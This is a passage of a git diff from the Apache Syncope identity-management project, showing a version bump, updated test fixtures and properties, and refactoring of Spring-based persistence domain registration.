+persistence.domain[0].dbSchema= persistence.domain[0].poolMaxActive=10 persistence.domain[0].poolMinIdle=2 -provisioning.connIdLocation=${connid.location} +provisioning.connIdLocation=${syncope.connid.location} diff --git a/core/persistence-jpa-json/src/test/resources/core-pgjsonb-test.properties b/core/persistence-jpa-json/src/test/resources/core-pgjsonb-test.properties index fb3c8c26676..4007496a9b7 100644 --- a/core/persistence-jpa-json/src/test/resources/core-pgjsonb-test.properties +++ b/core/persistence-jpa-json/src/test/resources/core-pgjsonb-test.properties @@ -18,10 +18,10 @@ security.adminUser=${adminUser} security.anonymousUser=${anonymousUser} security.jwsKey=${jwsKey} -security.secretKey=${secretKey} +security.aesSecretKey=${secretKey} persistence.domain[0].jdbcURL=jdbc:postgresql://${DB_CONTAINER_IP}:5432/syncope?stringtype=unspecified persistence.domain[0].poolMaxActive=10 persistence.domain[0].poolMinIdle=2 -provisioning.connIdLocation=${connid.location} +provisioning.connIdLocation=${syncope.connid.location} diff --git a/core/persistence-jpa-json/src/test/resources/domains/MasterContent.xml b/core/persistence-jpa-json/src/test/resources/domains/MasterContent.xml index 6c3558479df..3792cf6c826 100644 --- a/core/persistence-jpa-json/src/test/resources/domains/MasterContent.xml +++ b/core/persistence-jpa-json/src/test/resources/domains/MasterContent.xml @@ -53,18 +53,19 @@ under the License. jsonConf='{"_class":"org.apache.syncope.common.lib.policy.DefaultAuthPolicyConf","authModules":["LdapAuthenticationTest"]}'/> - + + jsonConf='{"_class":"org.apache.syncope.common.lib.policy.DefaultAttrReleasePolicyConf","releaseAttrs":{},"allowedAttrs":[],"excludedAttrs":[],"includeOnlyAttrs":[],"principalIdAttr":null,"principalAttrRepoConf":{"mergingStrategy":"MULTIVALUED","ignoreResolvedAttributes":false,"expiration":0,"timeUnit":"HOURS","attrRepos":[]}}'/> + jsonConf='{"_class":"org.apache.syncope.common.lib.policy.DefaultAttrReleasePolicyConf","releaseAttrs":{},"allowedAttrs":["cn","givenName","uid"],"excludedAttrs":[],"includeOnlyAttrs":[],"principalIdAttr":null,"principalAttrRepoConf":{"mergingStrategy":"MULTIVALUED","ignoreResolvedAttributes":false,"expiration":0,"timeUnit":"HOURS","attrRepos":[]}}'/> + description="LDAP auth module" jsonConf='{"_class":"org.apache.syncope.common.lib.auth.LDAPAuthModuleConf","principalAttributeId":"cn","bindDn": "${testds.bindDn}", "bindCredential":"${testds.password}","ldapUrl":"ldap://localhost:${testds.port}","searchFilter":"cn={user}","baseDn":"ou=People,${testds.rootDn}","subtreeSearch":true}' + items='[{"intAttrName":"mail","extAttrName":"email","connObjectKey":false,"password":false,"mandatoryCondition":"false","purpose":"NONE","propagationJEXLTransformer":null,"pullJEXLTransformer":null,"transformers":[]},{"intAttrName":"givenName","extAttrName":"given_name","connObjectKey":false,"password":false,"mandatoryCondition":"false","purpose":"NONE","propagationJEXLTransformer":null,"pullJEXLTransformer":null,"transformers":[]},{"intAttrName":"sn","extAttrName":"family_name","connObjectKey":false,"password":false,"mandatoryCondition":"false","purpose":"NONE","propagationJEXLTransformer":null,"pullJEXLTransformer":null,"transformers":[]},{"intAttrName":"cn","extAttrName":"name","connObjectKey":false,"password":false,"mandatoryCondition":"false","purpose":"NONE","propagationJEXLTransformer":null,"pullJEXLTransformer":null,"transformers":[]}]'/> + items='[{"intAttrName":"syncopeUserAttr_surname","extAttrName":"family_name","connObjectKey":false,"password":false,"mandatoryCondition":"false","purpose":"NONE","propagationJEXLTransformer":null,"pullJEXLTransformer":null,"transformers":[]},{"intAttrName":"syncopeUserAttr_fullname","extAttrName":"name","connObjectKey":false,"password":false,"mandatoryCondition":"false","purpose":"NONE","propagationJEXLTransformer":null,"pullJEXLTransformer":null,"transformers":[]},{"intAttrName":"syncopeUserAttr_firstname","extAttrName":"given_name","connObjectKey":false,"password":false,"mandatoryCondition":"false","purpose":"NONE","propagationJEXLTransformer":null,"pullJEXLTransformer":null,"transformers":[]},{"intAttrName":"syncopeUserAttr_email","extAttrName":"email","connObjectKey":false,"password":false,"mandatoryCondition":"false","purpose":"NONE","propagationJEXLTransformer":null,"pullJEXLTransformer":null,"transformers":[]},{"intAttrName":"memberships","extAttrName":"groups","connObjectKey":false,"password":false,"mandatoryCondition":"false","purpose":"NONE","propagationJEXLTransformer":null,"pullJEXLTransformer":null,"transformers":[]}]'/> + + + description="LDAP attr repo" jsonConf='{"_class":"org.apache.syncope.common.lib.attr.LDAPAttrRepoConf","searchFilter":"cn={user}","subtreeSearch":true,"ldapUrl":"ldap://localhost:${testds.port}","bindDn":"${testds.bindDn}","bindCredential":"${testds.password}","baseDn":"ou=People,${testds.rootDn}","useAllQueryAttributes":true,"queryAttributes":{}}'/> + description="JDBC attr repo" jsonConf='{"_class":"org.apache.syncope.common.lib.attr.JDBCAttrRepoConf","sql":"SELECT * FROM table WHERE name=?","dialect":"org.hibernate.dialect.H2Dialect","driverClass":"org.h2.Driver","url":"jdbc:h2:mem:syncopedb;DB_CLOSE_DELAY=-1","user":"username","password":"password","singleRow":true,"requireAllAttributes":true,"caseCanonicalization":"NONE","queryType":"AND","columnMappings":{},"username":[],"caseInsensitiveQueryAttributes":[],"queryAttributes":{}}'/> @@ -123,7 +127,7 @@ under the License. - - @@ -245,12 +249,14 @@ under the License. - - - + + - @@ -324,7 +330,8 @@ under the License. password="5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8" cipherAlgorithm="SHA1" realm_id="e4c28e7a-9dbf-4ee7-9441-93812a0d4a28" username="bellini" creator="admin" lastModifier="admin" - creationDate="2010-10-20 11:00:00" lastChangeDate="2010-10-20 11:00:00" suspended="0" + creationDate="2010-10-20 11:00:00" lastChangeDate="2010-10-20 11:00:00" + lastLoginDate="2016-03-03 15:21:22" suspended="0" plainAttrs='[{"values":[{"stringValue":"Vincenzo"}],"schema":"firstname"},{"values":[{"stringValue":"Bellini"}],"schema":"surname"},{"values":[{"dateValue":"2009-06-24T00:00:00+02:00"}],"schema":"loginDate"},{"values":[{"booleanValue":true}],"schema":"cool"},{"values":[{"stringValue":"M"}],"schema":"gender"},{"uniqueValue":{"stringValue":"Vincenzo Bellini"},"schema":"fullname"},{"uniqueValue":{"stringValue":"bellini@apache.org"},"schema":"userId"}]'/> @@ -374,6 +381,9 @@ under the License. realm_id="e4c28e7a-9dbf-4ee7-9441-93812a0d4a28" creator="admin" lastModifier="admin" creationDate="2010-10-20 11:00:00" lastChangeDate="2010-10-20 11:00:00"/> + + - - + + + @@ -645,8 +659,7 @@ under the License. + propagationPriority="0" provisions='[{"anyType":"USER","objectClass":"__ACCOUNT__","auxClasses":[],"syncToken":null,"ignoreCaseMatch":false,"uidOnCreate":null,"mapping":{"connObjectLink":null,"items":[{"intAttrName":"firstname","extAttrName":"firstName","connObjectKey":false,"password":false,"mandatoryCondition":"true","purpose":"BOTH","propagationJEXLTransformer":null,"pullJEXLTransformer":null,"transformers":[]},{"intAttrName":"key","extAttrName":"key","connObjectKey":true,"password":false,"mandatoryCondition":"true","purpose":"BOTH","propagationJEXLTransformer":null,"pullJEXLTransformer":null,"transformers":[]},{"intAttrName":"password","extAttrName":"__PASSWORD__","connObjectKey":false,"password":true,"mandatoryCondition":"true","purpose":"BOTH","propagationJEXLTransformer":null,"pullJEXLTransformer":null,"transformers":[]},{"intAttrName":"username","extAttrName":"username","connObjectKey":false,"password":false,"mandatoryCondition":"true","purpose":"BOTH","propagationJEXLTransformer":null,"pullJEXLTransformer":null,"transformers":[]},{"intAttrName":"email","extAttrName":"email","connObjectKey":false,"password":false,"mandatoryCondition":"true","purpose":"BOTH","propagationJEXLTransformer":null,"pullJEXLTransformer":null,"transformers":[]},{"intAttrName":"surname","extAttrName":"surname","connObjectKey":false,"password":false,"mandatoryCondition":"true","purpose":"BOTH","propagationJEXLTransformer":null,"pullJEXLTransformer":null,"transformers":[]}],"linkingItems":[],"connObjectKeyItem":{"intAttrName":"key","extAttrName":"key","connObjectKey":true,"password":false,"mandatoryCondition":"true","purpose":"BOTH","propagationJEXLTransformer":null,"pullJEXLTransformer":null,"transformers":[]}},"virSchemas":[]}]'/> @@ -676,8 +689,8 @@ under the License. - + @@ -732,7 +745,7 @@ under the License. destinationRealm_id="e4c28e7a-9dbf-4ee7-9441-93812a0d4a28" performCreate="1" performUpdate="1" performDelete="0" syncStatus="1" pullMode="FULL_RECONCILIATION" unmatchingRule="PROVISION" matchingRule="UPDATE" active="1" jobDelegate_id="PullJobDelegate"/> - - - - - - - - - - - - - - - - + + - - - - - + diff --git a/core/persistence-jpa-json/src/test/resources/simplelogger.properties b/core/persistence-jpa-json/src/test/resources/simplelogger.properties index 4f528c65c98..df82bd0d023 100644 --- a/core/persistence-jpa-json/src/test/resources/simplelogger.properties +++ b/core/persistence-jpa-json/src/test/resources/simplelogger.properties @@ -17,5 +17,7 @@ # See http://www.slf4j.org/api/org/slf4j/impl/SimpleLogger.html # Possible values: "trace", "debug", "info", "warn", or "error" +org.slf4j.simpleLogger.showDateTime=true +org.slf4j.simpleLogger.dateTimeFormat=YYYY-mm-dd HH:mm:ss.SSS org.slf4j.simpleLogger.defaultLogLevel=debug org.slf4j.simpleLogger.log.org.springframework.jdbc.core.JdbcTemplate=error diff --git a/core/persistence-jpa/pom.xml b/core/persistence-jpa/pom.xml index c47a551de3b..039b67c29d1 100644 --- a/core/persistence-jpa/pom.xml +++ b/core/persistence-jpa/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-core - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Core Persistence JPA @@ -118,23 +118,23 @@ under the License. test - org.springframework - spring-test + org.bouncycastle + bcpkix-jdk15on test - org.junit.jupiter - junit-jupiter + org.bouncycastle + bcprov-jdk15on test - org.bouncycastle - bcpkix-jdk15on + org.springframework + spring-test test - org.bouncycastle - bcprov-jdk15on + org.junit.jupiter + junit-jupiter test @@ -178,10 +178,11 @@ under the License. org.apache.maven.plugins maven-surefire-plugin - + + file:${bundles.directory}/ true classpath:core-test.properties - + diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/DomainConfFactory.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/DomainConfFactory.java index bf796839380..b37591ec58a 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/DomainConfFactory.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/DomainConfFactory.java @@ -22,14 +22,16 @@ import com.zaxxer.hikari.HikariDataSource; import java.io.ByteArrayInputStream; import java.nio.charset.StandardCharsets; +import java.util.HashMap; import java.util.Map; import java.util.Objects; +import java.util.Optional; import javax.persistence.EntityManagerFactory; import javax.sql.DataSource; import org.apache.syncope.common.keymaster.client.api.model.Domain; import org.apache.syncope.core.persistence.api.DomainRegistry; +import org.apache.syncope.core.persistence.jpa.openjpa.ConnectorManagerRemoteCommitListener; import org.apache.syncope.core.persistence.jpa.spring.DomainEntityManagerFactoryBean; -import org.apache.syncope.core.spring.ApplicationContextProvider; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Qualifier; @@ -37,44 +39,50 @@ import org.springframework.beans.factory.support.AbstractBeanDefinition; import org.springframework.beans.factory.support.AutowireCandidateQualifier; import org.springframework.beans.factory.support.BeanDefinitionBuilder; -import org.springframework.core.env.Environment; +import org.springframework.beans.factory.support.DefaultListableBeanFactory; +import org.springframework.context.ConfigurableApplicationContext; import org.springframework.core.io.ClassPathResource; import org.springframework.jdbc.datasource.init.DataSourceInitializer; import org.springframework.jdbc.datasource.init.ResourceDatabasePopulator; import org.springframework.jndi.JndiObjectFactoryBean; import org.springframework.orm.jpa.JpaTransactionManager; import org.springframework.orm.jpa.vendor.OpenJpaVendorAdapter; +import org.springframework.transaction.support.TransactionTemplate; public class DomainConfFactory implements DomainRegistry { protected static final Logger LOG = LoggerFactory.getLogger(DomainConfFactory.class); - protected static void unregisterSingleton(final String name) { - if (ApplicationContextProvider.getBeanFactory().containsSingleton(name)) { - ApplicationContextProvider.getBeanFactory().destroySingleton(name); - } + protected final ConfigurableApplicationContext ctx; + + public DomainConfFactory(final ConfigurableApplicationContext ctx) { + this.ctx = ctx; } - protected static void registerSingleton(final String name, final Object bean) { - unregisterSingleton(name); - ApplicationContextProvider.getBeanFactory().registerSingleton(name, bean); + protected DefaultListableBeanFactory beanFactory() { + return (DefaultListableBeanFactory) ctx.getBeanFactory(); } - protected static void unregisterBeanDefinition(final String name) { - if (ApplicationContextProvider.getBeanFactory().containsBeanDefinition(name)) { - ApplicationContextProvider.getBeanFactory().removeBeanDefinition(name); + protected void unregisterSingleton(final String name) { + if (beanFactory().containsSingleton(name)) { + beanFactory().destroySingleton(name); } } - protected static void registerBeanDefinition(final String name, final BeanDefinition beanDefinition) { - unregisterBeanDefinition(name); - ApplicationContextProvider.getBeanFactory().registerBeanDefinition(name, beanDefinition); + protected void registerSingleton(final String name, final Object bean) { + unregisterSingleton(name); + beanFactory().registerSingleton(name, bean); } - protected final Environment env; + protected void unregisterBeanDefinition(final String name) { + if (beanFactory().containsBeanDefinition(name)) { + beanFactory().removeBeanDefinition(name); + } + } - public DomainConfFactory(final Environment env) { - this.env = env; + protected void registerBeanDefinition(final String name, final BeanDefinition beanDefinition) { + unregisterBeanDefinition(name); + beanFactory().registerBeanDefinition(name, beanDefinition); } @Override @@ -96,8 +104,7 @@ public void register(final Domain domain) { addPropertyValue("jndiName", "java:comp/env/jdbc/syncope" + domain.getKey() + "DataSource"). addPropertyValue("defaultObject", new HikariDataSource(hikariConfig)). getBeanDefinition()); - DataSource initedDataSource = ApplicationContextProvider.getBeanFactory(). - getBean(domain.getKey() + "DataSource", DataSource.class); + DataSource initedDataSource = beanFactory().getBean(domain.getKey() + "DataSource", DataSource.class); // domainResourceDatabasePopulator ResourceDatabasePopulator databasePopulator = new ResourceDatabasePopulator(); @@ -105,7 +112,6 @@ public void register(final Domain domain) { databasePopulator.setIgnoreFailedDrops(true); databasePopulator.setSqlScriptEncoding(StandardCharsets.UTF_8.name()); databasePopulator.addScript(new ClassPathResource("/audit/" + domain.getAuditSql())); - registerSingleton(domain.getKey().toLowerCase() + "ResourceDatabasePopulator", databasePopulator); // domainDataSourceInitializer DataSourceInitializer dataSourceInitializer = new DataSourceInitializer(); @@ -113,6 +119,7 @@ public void register(final Domain domain) { dataSourceInitializer.setEnabled(true); dataSourceInitializer.setDatabasePopulator(databasePopulator); registerSingleton(domain.getKey().toLowerCase() + "DataSourceInitializer", dataSourceInitializer); + beanFactory().initializeBean(dataSourceInitializer, domain.getKey().toLowerCase() + "DataSourceInitializer"); // domainEntityManagerFactory OpenJpaVendorAdapter vendorAdapter = new OpenJpaVendorAdapter(); @@ -120,20 +127,33 @@ public void register(final Domain domain) { vendorAdapter.setGenerateDdl(true); vendorAdapter.setDatabasePlatform(domain.getDatabasePlatform()); + ConnectorManagerRemoteCommitListener connectorManagerRemoteCommitListener = + new ConnectorManagerRemoteCommitListener(domain.getKey()); + BeanDefinitionBuilder emf = BeanDefinitionBuilder.rootBeanDefinition(DomainEntityManagerFactoryBean.class). - addPropertyValue("mappingResources", domain.getOrm()). addPropertyValue("persistenceUnitName", domain.getKey()). + addPropertyValue("mappingResources", domain.getOrm()). addPropertyReference("dataSource", domain.getKey() + "DataSource"). addPropertyValue("jpaVendorAdapter", vendorAdapter). - addPropertyReference("commonEntityManagerFactoryConf", "commonEMFConf"); - if (env.containsProperty("openjpaMetaDataFactory")) { - emf.addPropertyValue("jpaPropertyMap", Map.of( + addPropertyReference("commonEntityManagerFactoryConf", "commonEMFConf"). + addPropertyValue("connectorManagerRemoteCommitListener", connectorManagerRemoteCommitListener); + + Map jpaPropertyMap = new HashMap<>(); + jpaPropertyMap.putAll(vendorAdapter.getJpaPropertyMap()); + Optional.ofNullable(domain.getDbSchema()). + ifPresent(s -> jpaPropertyMap.put("openjpa.jdbc.Schema", s)); + if (ctx.getEnvironment().containsProperty("openjpaMetaDataFactory")) { + jpaPropertyMap.put( "openjpa.MetaDataFactory", - Objects.requireNonNull(env.getProperty("openjpaMetaDataFactory")). - replace("##orm##", domain.getOrm()))); + Objects.requireNonNull(ctx.getEnvironment().getProperty("openjpaMetaDataFactory")). + replace("##orm##", domain.getOrm())); + } + if (!jpaPropertyMap.isEmpty()) { + emf.addPropertyValue("jpaPropertyMap", jpaPropertyMap); } + registerBeanDefinition(domain.getKey() + "EntityManagerFactory", emf.getBeanDefinition()); - ApplicationContextProvider.getBeanFactory().getBean(domain.getKey() + "EntityManagerFactory"); + beanFactory().getBean(domain.getKey() + "EntityManagerFactory"); // domainTransactionManager AbstractBeanDefinition domainTransactionManager = @@ -143,6 +163,13 @@ public void register(final Domain domain) { domainTransactionManager.addQualifier(new AutowireCandidateQualifier(Qualifier.class, domain.getKey())); registerBeanDefinition(domain.getKey() + "TransactionManager", domainTransactionManager); + // domainTransactionTemplate + AbstractBeanDefinition domainTransactionTemplate = + BeanDefinitionBuilder.rootBeanDefinition(TransactionTemplate.class). + addPropertyReference("transactionManager", domain.getKey() + "TransactionManager"). + getBeanDefinition(); + registerBeanDefinition(domain.getKey() + "TransactionTemplate", domainTransactionTemplate); + // domainContentXML registerBeanDefinition(domain.getKey() + "ContentXML", BeanDefinitionBuilder.rootBeanDefinition(ByteArrayInputStream.class). @@ -168,7 +195,7 @@ public void unregister(final String domain) { // domainEntityManagerFactory try { - EntityManagerFactory emf = ApplicationContextProvider.getBeanFactory(). + EntityManagerFactory emf = beanFactory(). getBean(domain + "EntityManagerFactory", EntityManagerFactory.class); emf.close(); } catch (Exception e) { diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/MasterDomain.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/MasterDomain.java index e701849537a..1ad1660f4e9 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/MasterDomain.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/MasterDomain.java @@ -22,10 +22,11 @@ import com.zaxxer.hikari.HikariDataSource; import java.io.IOException; import java.io.InputStream; -import java.util.Map; import java.util.Objects; +import java.util.Optional; import javax.sql.DataSource; import org.apache.syncope.common.lib.SyncopeConstants; +import org.apache.syncope.core.persistence.jpa.openjpa.ConnectorManagerRemoteCommitListener; import org.apache.syncope.core.persistence.jpa.spring.CommonEntityManagerFactoryConf; import org.apache.syncope.core.persistence.jpa.spring.DomainEntityManagerFactoryBean; import org.springframework.beans.factory.annotation.Qualifier; @@ -42,6 +43,7 @@ import org.springframework.orm.jpa.JpaTransactionManager; import org.springframework.orm.jpa.vendor.OpenJpaVendorAdapter; import org.springframework.transaction.PlatformTransactionManager; +import org.springframework.transaction.support.TransactionTemplate; @EnableConfigurationProperties(PersistenceProperties.class) @Configuration(proxyBeanMethods = false) @@ -99,20 +101,25 @@ public DomainEntityManagerFactoryBean masterEntityManagerFactory( vendorAdapter.setGenerateDdl(true); vendorAdapter.setDatabasePlatform(props.getDomain().get(0).getDatabasePlatform()); - DomainEntityManagerFactoryBean masterEntityManagerFactory = new DomainEntityManagerFactoryBean(); - masterEntityManagerFactory.setMappingResources(props.getDomain().get(0).getOrm()); - masterEntityManagerFactory.setPersistenceUnitName(SyncopeConstants.MASTER_DOMAIN); - masterEntityManagerFactory.setDataSource(Objects.requireNonNull((DataSource) masterDataSource.getObject())); - masterEntityManagerFactory.setJpaVendorAdapter(vendorAdapter); - masterEntityManagerFactory.setCommonEntityManagerFactoryConf(commonEMFConf); + DomainEntityManagerFactoryBean emf = new DomainEntityManagerFactoryBean(); + emf.setPersistenceUnitName(SyncopeConstants.MASTER_DOMAIN); + emf.setMappingResources(props.getDomain().get(0).getOrm()); + emf.setDataSource(Objects.requireNonNull((DataSource) masterDataSource.getObject())); + emf.setJpaVendorAdapter(vendorAdapter); + emf.setCommonEntityManagerFactoryConf(commonEMFConf); + emf.setConnectorManagerRemoteCommitListener( + new ConnectorManagerRemoteCommitListener(SyncopeConstants.MASTER_DOMAIN)); - if (props.getMetaDataFactory() != null) { - masterEntityManagerFactory.setJpaPropertyMap(Map.of( - "openjpa.MetaDataFactory", - props.getMetaDataFactory().replace("##orm##", props.getDomain().get(0).getOrm()))); - } + emf.getJpaPropertyMap().putAll(vendorAdapter.getJpaPropertyMap()); - return masterEntityManagerFactory; + Optional.ofNullable(props.getDomain().get(0).getDbSchema()). + ifPresent(s -> emf.getJpaPropertyMap().put("openjpa.jdbc.Schema", s)); + + Optional.ofNullable(props.getMetaDataFactory()). + ifPresent(m -> emf.getJpaPropertyMap().put( + "openjpa.MetaDataFactory", m.replace("##orm##", props.getDomain().get(0).getOrm()))); + + return emf; } @ConditionalOnMissingBean(name = "MasterTransactionManager") @@ -124,6 +131,15 @@ public PlatformTransactionManager transactionManager( return new JpaTransactionManager(Objects.requireNonNull(masterEntityManagerFactory.getObject())); } + @ConditionalOnMissingBean(name = "MasterTransactionTemplate") + @Bean(name = "MasterTransactionTemplate") + public TransactionTemplate transactionTemplate( + @Qualifier("MasterTransactionManager") + final PlatformTransactionManager masterTransactionManager) { + + return new TransactionTemplate(masterTransactionManager); + } + @Bean(name = "MasterContentXML") public InputStream masterContentXML( final ResourceLoader resourceLoader, diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/PersistenceContext.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/PersistenceContext.java index a7acb384c7a..dc6d4cd09f9 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/PersistenceContext.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/PersistenceContext.java @@ -54,6 +54,7 @@ import org.apache.syncope.core.persistence.api.dao.NotificationDAO; import org.apache.syncope.core.persistence.api.dao.OIDCJWKSDAO; import org.apache.syncope.core.persistence.api.dao.OIDCRPClientAppDAO; +import org.apache.syncope.core.persistence.api.dao.PersistenceInfoDAO; import org.apache.syncope.core.persistence.api.dao.PlainAttrDAO; import org.apache.syncope.core.persistence.api.dao.PlainAttrValueDAO; import org.apache.syncope.core.persistence.api.dao.PlainSchemaDAO; @@ -63,7 +64,6 @@ import org.apache.syncope.core.persistence.api.dao.RemediationDAO; import org.apache.syncope.core.persistence.api.dao.ReportDAO; import org.apache.syncope.core.persistence.api.dao.ReportExecDAO; -import org.apache.syncope.core.persistence.api.dao.ReportTemplateDAO; import org.apache.syncope.core.persistence.api.dao.RoleDAO; import org.apache.syncope.core.persistence.api.dao.SAML2IdPEntityDAO; import org.apache.syncope.core.persistence.api.dao.SAML2SPClientAppDAO; @@ -112,6 +112,7 @@ import org.apache.syncope.core.persistence.jpa.dao.JPANotificationDAO; import org.apache.syncope.core.persistence.jpa.dao.JPAOIDCJWKSDAO; import org.apache.syncope.core.persistence.jpa.dao.JPAOIDCRPClientAppDAO; +import org.apache.syncope.core.persistence.jpa.dao.JPAPersistenceInfoDAO; import org.apache.syncope.core.persistence.jpa.dao.JPAPlainAttrDAO; import org.apache.syncope.core.persistence.jpa.dao.JPAPlainAttrValueDAO; import org.apache.syncope.core.persistence.jpa.dao.JPAPlainSchemaDAO; @@ -121,7 +122,6 @@ import org.apache.syncope.core.persistence.jpa.dao.JPARemediationDAO; import org.apache.syncope.core.persistence.jpa.dao.JPAReportDAO; import org.apache.syncope.core.persistence.jpa.dao.JPAReportExecDAO; -import org.apache.syncope.core.persistence.jpa.dao.JPAReportTemplateDAO; import org.apache.syncope.core.persistence.jpa.dao.JPARoleDAO; import org.apache.syncope.core.persistence.jpa.dao.JPASAML2IdPEntityDAO; import org.apache.syncope.core.persistence.jpa.dao.JPASAML2SPClientAppDAO; @@ -144,11 +144,11 @@ import org.apache.syncope.core.spring.security.SecurityProperties; import org.slf4j.Logger; import org.slf4j.LoggerFactory; -import org.springframework.beans.factory.ListableBeanFactory; import org.springframework.beans.factory.config.BeanFactoryPostProcessor; import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; import org.springframework.boot.context.properties.EnableConfigurationProperties; import org.springframework.context.ApplicationEventPublisher; +import org.springframework.context.ConfigurableApplicationContext; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.Lazy; @@ -244,8 +244,8 @@ public KeymasterConfParamLoader keymasterConfParamLoader(final ConfParamOps conf @ConditionalOnMissingBean @Bean - public DomainRegistry domainRegistry(final Environment env) { - return new DomainConfFactory(env); + public DomainRegistry domainRegistry(final ConfigurableApplicationContext ctx) { + return new DomainConfFactory(ctx); } @ConditionalOnMissingBean @@ -253,9 +253,9 @@ public DomainRegistry domainRegistry(final Environment env) { public RuntimeDomainLoader runtimeDomainLoader( final DomainHolder domainHolder, final DomainRegistry domainRegistry, - final ListableBeanFactory beanFactory) { + final ConfigurableApplicationContext ctx) { - return new RuntimeDomainLoader(domainHolder, domainRegistry, beanFactory); + return new RuntimeDomainLoader(domainHolder, domainRegistry, ctx); } @ConditionalOnMissingBean @@ -282,9 +282,11 @@ public AnyUtilsFactory anyUtilsFactory( final @Lazy UserDAO userDAO, final @Lazy GroupDAO groupDAO, final @Lazy AnyObjectDAO anyObjectDAO, + final @Lazy PlainAttrDAO plainAttrDAO, + final @Lazy PlainAttrValueDAO plainAttrValueDAO, final @Lazy EntityFactory entityFactory) { - return new JPAAnyUtilsFactory(userDAO, groupDAO, anyObjectDAO, entityFactory); + return new JPAAnyUtilsFactory(userDAO, groupDAO, anyObjectDAO, plainAttrDAO, plainAttrValueDAO, entityFactory); } @ConditionalOnMissingBean @@ -311,6 +313,12 @@ public EntityCacheDAO entityCacheDAO() { return new JPAEntityCacheDAO(); } + @ConditionalOnMissingBean + @Bean + public PersistenceInfoDAO persistenceInfoDAO() { + return new JPAPersistenceInfoDAO(); + } + @ConditionalOnMissingBean @Bean public AccessTokenDAO accessTokenDAO() { @@ -496,6 +504,7 @@ public GroupDAO groupDAO( final @Lazy PlainSchemaDAO plainSchemaDAO, final @Lazy DerSchemaDAO derSchemaDAO, final @Lazy DynRealmDAO dynRealmDAO, + final @Lazy RealmDAO realmDAO, final AnyMatchDAO anyMatchDAO, final PlainAttrDAO plainAttrDAO, final @Lazy UserDAO userDAO, @@ -509,6 +518,7 @@ public GroupDAO groupDAO( plainSchemaDAO, derSchemaDAO, dynRealmDAO, + realmDAO, anyMatchDAO, plainAttrDAO, userDAO, @@ -599,8 +609,8 @@ public PolicyDAO policyDAO( @ConditionalOnMissingBean @Bean - public RealmDAO realmDAO(final @Lazy RoleDAO roleDAO) { - return new JPARealmDAO(roleDAO); + public RealmDAO realmDAO(final @Lazy RoleDAO roleDAO, final ApplicationEventPublisher publisher) { + return new JPARealmDAO(roleDAO, publisher); } @ConditionalOnMissingBean @@ -615,12 +625,6 @@ public RemediationDAO remediationDAO() { return new JPARemediationDAO(); } - @ConditionalOnMissingBean - @Bean - public ReportTemplateDAO reportTemplateDAO() { - return new JPAReportTemplateDAO(); - } - @ConditionalOnMissingBean @Bean public ReportDAO reportDAO() { @@ -716,7 +720,6 @@ public UserDAO userDAO( final @Lazy DynRealmDAO dynRealmDAO, final RoleDAO roleDAO, final AccessTokenDAO accessTokenDAO, - final RealmDAO realmDAO, final @Lazy GroupDAO groupDAO, final DelegationDAO delegationDAO, final FIQLQueryDAO fiqlQueryDAO) { @@ -728,7 +731,6 @@ public UserDAO userDAO( dynRealmDAO, roleDAO, accessTokenDAO, - realmDAO, groupDAO, delegationDAO, fiqlQueryDAO, diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/RuntimeDomainLoader.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/RuntimeDomainLoader.java index c40cc79b0f0..a62e25f3ed1 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/RuntimeDomainLoader.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/RuntimeDomainLoader.java @@ -28,7 +28,7 @@ import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.aop.support.AopUtils; -import org.springframework.beans.factory.ListableBeanFactory; +import org.springframework.context.ConfigurableApplicationContext; public class RuntimeDomainLoader implements DomainWatcher { @@ -38,16 +38,18 @@ public class RuntimeDomainLoader implements DomainWatcher { protected final DomainRegistry domainRegistry; - protected final ListableBeanFactory beanFactory; - public RuntimeDomainLoader( final DomainHolder domainHolder, final DomainRegistry domainRegistry, - final ListableBeanFactory beanFactory) { + final ConfigurableApplicationContext ctx) { this.domainHolder = domainHolder; this.domainRegistry = domainRegistry; - this.beanFactory = beanFactory; + + // only needed by ZookeeperDomainOps' early init on afterPropertiesSet + if (ApplicationContextProvider.getApplicationContext() == null) { + ApplicationContextProvider.setApplicationContext(ctx); + } } @Override @@ -59,9 +61,9 @@ public void added(final Domain domain) { domainRegistry.register(domain); - ApplicationContextProvider.getApplicationContext().getBeansOfType(SyncopeCoreLoader.class).values(). + ApplicationContextProvider.getBeanFactory().getBeansOfType(SyncopeCoreLoader.class).values(). stream().sorted(Comparator.comparing(SyncopeCoreLoader::getOrder)). - forEach(loader -> { + forEachOrdered(loader -> { String loaderName = AopUtils.getTargetClass(loader).getName(); LOG.debug("[{}] Starting on domain '{}'", loaderName, domain); @@ -78,8 +80,8 @@ public void removed(final String domain) { if (domainHolder.getDomains().containsKey(domain)) { LOG.info("Domain {} unregistration", domain); - beanFactory.getBeansOfType(SyncopeCoreLoader.class).values().stream(). - sorted(Comparator.comparing(SyncopeCoreLoader::getOrder).reversed()). + ApplicationContextProvider.getBeanFactory().getBeansOfType(SyncopeCoreLoader.class).values(). + 